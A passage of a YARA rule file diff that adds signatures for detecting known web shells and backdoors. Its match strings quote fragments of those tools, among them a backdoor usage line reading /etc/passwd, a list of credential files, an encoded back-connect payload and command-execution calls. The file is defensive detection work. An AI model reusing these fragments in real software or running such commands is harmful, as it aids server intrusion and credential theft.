+		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
+		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
+		$s3 = "$xshell"
+	condition:
+		2 of them
+}
+rule Rem_View_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+		id = "6137434c-89e9-537b-9b26-b56178022b76"
+	strings:
+		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 ="Welcome to phpRemoteView (RemView)"
+	condition:
+		1 of them
+}
+rule Java_Shell_js {
+	meta:
+		description = "Semi-Auto-generated  - file Java Shell.js.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+		id = "eff52c3a-fc3a-5e80-8da9-786168159ebc"
+	strings:
+		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
+		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
+		$s4 = "public static int DEFAULT_SCROLLBACK = 100"
+	condition:
+		2 of them
+}
+rule STNC_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file STNC.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
+		id = "8a7167f6-fa62-574f-a37c-3ceadc7f92ec"
+	strings:
+		$s0 = "drmist.ru" fullword
+		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
+		$s2 = "STNC WebShell"
+		$s3 = "http://www.security-teams.net/index.php?showtopic="
+	condition:
+		1 of them
+}
+rule aZRaiLPhp_v1_0_php {
+	meta:
+		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "26b2d3943395682e36da06ed493a3715"
+		id = "60152b96-e8d3-5b06-a855-fb64a490742b"
+	strings:
+		$s0 = "azrailphp"
+		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
+		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"
+	condition:
+		2 of them
+}
+rule Moroccan_Spamers_Ma_EditioN_By_GhOsT_php {
+	meta:
+		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
+		id = "721d6e9f-a237-5462-a8d3-f838d7fda420"
+	strings:
+		$s0 = ";$sd98=\"john.barker446@gmail.com\""
+		$s1 = "print \"Sending mail to $to....... \";"
+		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"
+	condition:
+		1 of them
+}
+rule zacosmall_php {
+	meta:
+		description = "Semi-Auto-generated  - file zacosmall.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+		id = "25946aa7-7c56-5670-ae2f-c55e65a3b911"
+	strings:
+		$s0 = "rand(1,99999);$sj98"
+		$s1 = "$dump_file.='`'.$rows2[0].'`"
+		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"
+	condition:
+		2 of them
+}
+rule CmdAsp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "64f24f09ec6efaa904e2492dffc518b9"
+		id = "79e0ba85-ed4b-5909-a2fd-9b4125598078"
+	strings:
+		$s0 = "CmdAsp.asp"
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s2 = "-- Use a poor man's pipe ... a temp file --"
+		$s3 = "maceo @ dogmile.com"
+	condition:
+		2 of them
+}
+rule simple_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+		id = "5607f501-a750-59be-9595-5ac71ea6f74b"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+	condition:
+		2 of them
+}
+rule mysql_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d42aec2891214cace99b3eb9f3e21a63"
+		id = "e517984b-575c-5ead-a438-9767d2c74099"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "smkim@popeye.snu.ac.kr"
+		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"
+	condition:
+		1 of them
+}
+rule Dive_Shell_1_0___Emperor_Hacking_Team_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1b5102bdc41a7bc439eea8f0010310a5"
+		id = "d75294a4-a0a7-5c74-bb7a-766db477633c"
+	strings:
+		$s0 = "Emperor Hacking TEAM"
+		$s1 = "Simshell" fullword
+		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
+		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"
+	condition:
+		2 of them
+}
+rule Asmodeus_v0_1_pl {
+	meta:
+		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0978b672db0657103c79505df69cb4bb"
+		id = "cfd082a8-56fa-54bc-a683-c0052f78e12e"
+	strings:
+		$s0 = "[url=http://www.governmentsecurity.org"
+		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
+		$s2 = "print \"Asmodeus Perl Remote Shell"
+		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword
+	condition:
+		2 of them
+}
+rule backup_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backup.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aeee3bae226ad57baf4be8745c3f6094"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "#phpMyAdmin MySQL-Dump" fullword
+		$s2 = ";db_connect();header('Content-Type: application/octetstr"
+		$s4 = "$data .= \"#Database: $database" fullword
+	condition:
+		all of them
+}
+rule Reader_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Reader.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+		id = "70094d24-fa3a-503c-b9b6-294a883fc52c"
+	strings:
+		$s1 = "Mehdi & HolyDemon"
+		$s2 = "www.infilak."
+		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"
+	condition:
+		2 of them
+}
+rule phpshell17_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpshell17.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
+		id = "ea1f657c-2023-50bb-a2ee-33c53ee8fb5e"
+	strings:
+		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
+		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
+		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword
+	condition:
+		1 of them
+}
+rule myshell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file myshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "62783d1db52d05b1b6ae2403a7044490"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+	strings:
+		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
+		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
+		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"
+	condition:
+		2 of them
+}
+rule SimShell_1_0___Simorgh_Security_MGZ_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
+		id = "51565555-a17b-59c7-b433-c3166fe0d7f0"
+	strings:
+		$s0 = "Simorgh Security Magazine "
+		$s1 = "Simshell.css"
+		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
+		$s3 = "www.simorgh-ev.com"
+	condition:
+		2 of them
+}
+rule jspshall_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
+		id = "4bccad33-d26e-52c2-b7f8-802f2c8f3889"
+	strings:
+		$s0 = "kj021320"
+		$s1 = "case 'T':systemTools(out);break;"
+		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"
+	condition:
+		2 of them
+}
+rule webshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file webshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e425241b928e992bde43dd65180a4894"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
+		$s3 = "PHP Web Shell"
+	condition:
+		all of them
+}
+rule rootshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file rootshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "265f3319075536030e59ba2f9ef3eac6"
+		id = "aec6621e-f23a-5f9f-91f1-d2f1b1ab58d0"
+	strings:
+		$s0 = "shells.dl.am"
+		$s1 = "This server has been infected by $owner"
+		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
+		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"
+	condition:
+		2 of them
+}
+rule connectback2_pl {
+	meta:
+		description = "Semi-Auto-generated  - file connectback2.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "473b7d226ea6ebaacc24504bd740822e"
+		id = "4ddebc62-17d2-577e-84bd-207367078327"
+	strings:
+		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
+		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
+		$s2 = "ConnectBack Backdoor"
+	condition:
+		1 of them
+}
+rule DefaceKeeper_0_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "713c54c3da3031bc614a8a55dccd7e7f"
+		id = "671323e2-42cb-5ce0-9839-5d01c446471c"
+	strings:
+		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
+		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
+		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"
+	condition:
+		1 of them
+}
+rule shells_PHP_wso {
+	meta:
+		description = "Semi-Auto-generated  - file wso.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33e2891c13b78328da9062fbfcf898b6"
+		id = "fdce6094-a88e-5da6-aeb0-bc97b15bf397"
+	strings:
+		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
+		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"
+	condition:
+		1 of them
+}
+rule backdoor1_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoor1.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e1adda1f866367f52de001257b4d6c98"
+		id = "89f44a1c-8a42-58f6-9308-371f4e652bff"
+	strings:
+		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
+		$s2 = "class backdoor {"
+		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"
+	condition:
+		1 of them
+}
+rule elmaliseker_asp {
+	meta:
+		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
+	strings:
+		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
+		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
+		$s2 = "dim zombie_array,special_array"
+		$s3 = "http://vnhacker.org"
+	condition:
+		1 of them
+}
+rule indexer_asp {
+	meta:
+		description = "Semi-Auto-generated  - file indexer.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+		id = "84ff60f9-36f7-5d29-9f38-8088fb42582e"
+	strings:
+		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"
+	condition:
+		1 of them
+}
+rule DxShell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33a2b31810178f4c2e71fbdeb4899244"
+		id = "b89930b7-acf3-5078-8429-d59e27e4b00c"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule s72_Shell_v1_1_Coding_html {
+	meta:
+		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+		id = "dfd3b80e-6245-5f74-9d6a-6006218891ac"
+	strings:
+		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
+		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
+		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""
+	condition:
+		1 of them
+}
+rule kacak_asp {
+	meta:
+		description = "Semi-Auto-generated  - file kacak.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "907d95d46785db21331a0324972dda8c"
+		id = "1ae15174-b84a-5826-b768-7afed65196db"
+	strings:
+		$s0 = "Kacak FSO 1.0"
+		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
+		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
+		$s4 = "mailto:BuqX@hotmail.com"
+	condition:
+		1 of them
+}
+rule PHP_Backdoor_Connect_pl_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "57fcd9560dac244aeaf95fd606621900"
+		id = "96c9258e-3894-5ee9-b52c-eb7ba7454416"
+	strings:
+		$s0 = "LorD of IRAN HACKERS SABOTAGE"
+		$s1 = "LorD-C0d3r-NT"
+		$s2 = "echo --==Userinfo==-- ;"
+	condition:
+		1 of them
+}
+rule Antichat_Socks5_Server_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
+		id = "35d0930c-ef07-5fd4-9d7a-c0d685f92339"
+	strings:
+		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
+		$s3 = "#   [+] Domain name address type"
+		$s4 = "www.antichat.ru"
+	condition:
+		1 of them
+}
+rule Antichat_Shell_v1_3_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "40d0abceba125868be7f3f990f031521"
+		id = "856cf977-24da-58e0-b6d2-820c92075ecc"
+	strings:
+		$s0 = "Antichat"
+		$s1 = "Can't open file, permission denide"
+		$s2 = "$ra44"
+	condition:
+		2 of them
+}
+rule Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+		id = "3e81f628-31b4-5c22-943e-62c8cb4c0c4d"
+	strings:
+		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
+		$s1 = "Mode Shell v1.0</font></span>"
+		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."
+	condition:
+		1 of them
+}
+rule mysql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "12bbdf6ef403720442a47a3cc730d034"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+	strings:
+		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
+		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "
+	condition:
+		1 of them
+}
+rule Worse_Linux_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+		id = "e223e2a9-7c7a-597a-8b90-a63ee11805ea"
+	strings:
+		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
+		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"
+	condition:
+		1 of them
+}
+rule cyberlords_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "03b06b4183cb9947ccda2c3d636406d4"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+	strings:
+		$s0 = "Coded by n0 [nZer0]"
+		$s1 = " www.cyberlords.net"
+		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
+		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"
+	condition:
+		1 of them
+}
+rule cmd_asp_5_1_asp {
+	meta:
+		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+		id = "fc204ab8-892d-5435-a737-a185ca32e938"
+	strings:
+		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
+		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		1 of them
+}
+rule pws_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pws.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
+		id = "1ec47c33-dbec-50bd-b4b0-8f00b704a816"
+	strings:
+		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
+		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
+		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"
+	condition:
+		2 of them
+}
+rule PHP_Shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+		id = "6978126c-5414-52d2-b085-6e5589716d93"
+	strings:
+		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule Ayyildiz_Tim___AYT__Shell_v_2_1_Biz_html {
+	meta:
+		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
+		id = "d50a8669-fd28-59d2-9f00-f4fe2b85dc22"
+	strings:
+		$s0 = "Ayyildiz"
+		$s1 = "TouCh By iJOo"
+		$s2 = "First we check if there has been asked for a working directory"
+		$s3 = "http://ayyildiz.org/images/whosonline2.gif"
+	condition:
+		2 of them
+}
+rule EFSO_2_asp {
+	meta:
+		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
+		id = "f0566790-b41c-5167-b7ec-19e7d04256d1"
+	strings:
+		$s0 = "Ejder was HERE"
+		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"
+	condition:
+		2 of them
+}
+rule lamashell_php {
+	meta:
+		description = "Semi-Auto-generated  - file lamashell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "de9abc2e38420cad729648e93dfc6687"
+		id = "cbbb3377-ef9c-5fd1-a8b8-2b730fb5ef28"
+	strings:
+		$s0 = "lama's'hell" fullword
+		$s1 = "if($_POST['king'] == \"\") {"
+		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"
+	condition:
+		1 of them
+}
+rule Ajax_PHP_Command_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "93d1a2e13a3368a2472043bd6331afe9"
+		id = "cae2e035-ae7b-589b-b2d9-e709028274c5"
+	strings:
+		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
+		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
+		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"
+	condition:
+		1 of them
+}
+rule JspWebshell_1_2_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "70a0ee2624e5bbe5525ccadc467519f6"
+		id = "edfe6a3d-7d56-52ad-a376-cec5722e87b7"
+	strings:
+		$s0 = "JspWebshell"
+		$s1 = "CreateAndDeleteFolder is error:"
+		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
+		$s3 = "String _password =\"111\";"
+	condition:
+		2 of them
+}
+rule Sincap_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b68b90ff6012a103e57d141ed38a7ee9"
+		id = "8c4dc7b1-94ce-5528-8442-eae05d2c9980"
+	strings:
+		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
+		$s2 = "$tampon4=$tampon3-1"
+		$s3 = "@aventgrup.net"
+	condition:
+		2 of them
+}
+rule Test_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Test.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "77e331abd03b6915c6c6c7fe999fcb50"
+		id = "58d73264-6507-5560-ad3e-0cc86c2ee291"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
+		$s2 = "fwrite ($fp, \"$yazi\");" fullword
+		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword
+	condition:
+		1 of them
+}
+rule Phyton_Shell_py {
+	meta:
+		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "92b3c897090867c65cc169ab037a0f55"
+		id = "2f55d60d-94f3-508d-a2d0-5ab59e3fdab3"
+	strings:
+		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
+		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
+		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
+		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword
+	condition:
+		1 of them
+}
+rule mysql_tool_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
+		id = "c67197d1-6e40-5bf2-9e1b-6ada43529435"
+	strings:
+		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
+		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
+		$s4 = "<div align=\"center\">The backup process has now started<br "
+	condition:
+		1 of them
+}
+rule Zehir_4_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f4e12e159360743ec016273c3b9108c"
+		id = "ea7df4e1-d4e2-5a58-a014-d12cb9afaf79"
+	strings:
+		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
+		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""
+	condition:
+		1 of them
+}
+rule sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "330af9337ae51d0bac175ba7076d6299"
+		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
+	strings:
+		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
+		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"
+	condition:
+		1 of them
+}
+rule phpbackdoor15_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0fdb401a49fc2e481e3dfd697078334b"
+		id = "a93b881b-3050-5f43-803c-4a571aaaef82"
+	strings:
+		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
+		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
+		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"
+	condition:
+		1 of them
+}
+rule phpjackal_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpjackal.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
+		id = "ae46cb97-1ff8-50ba-856f-c38fbb1e5163"
+	strings:
+		$s3 = "$dl=$_REQUEST['downloaD'];"
+		$s4 = "else shelL(\"perl.exe $name $port\");"
+	condition:
+		1 of them
+}
+rule sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8334249cbb969f2d33d678fec2b680c5"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+	strings:
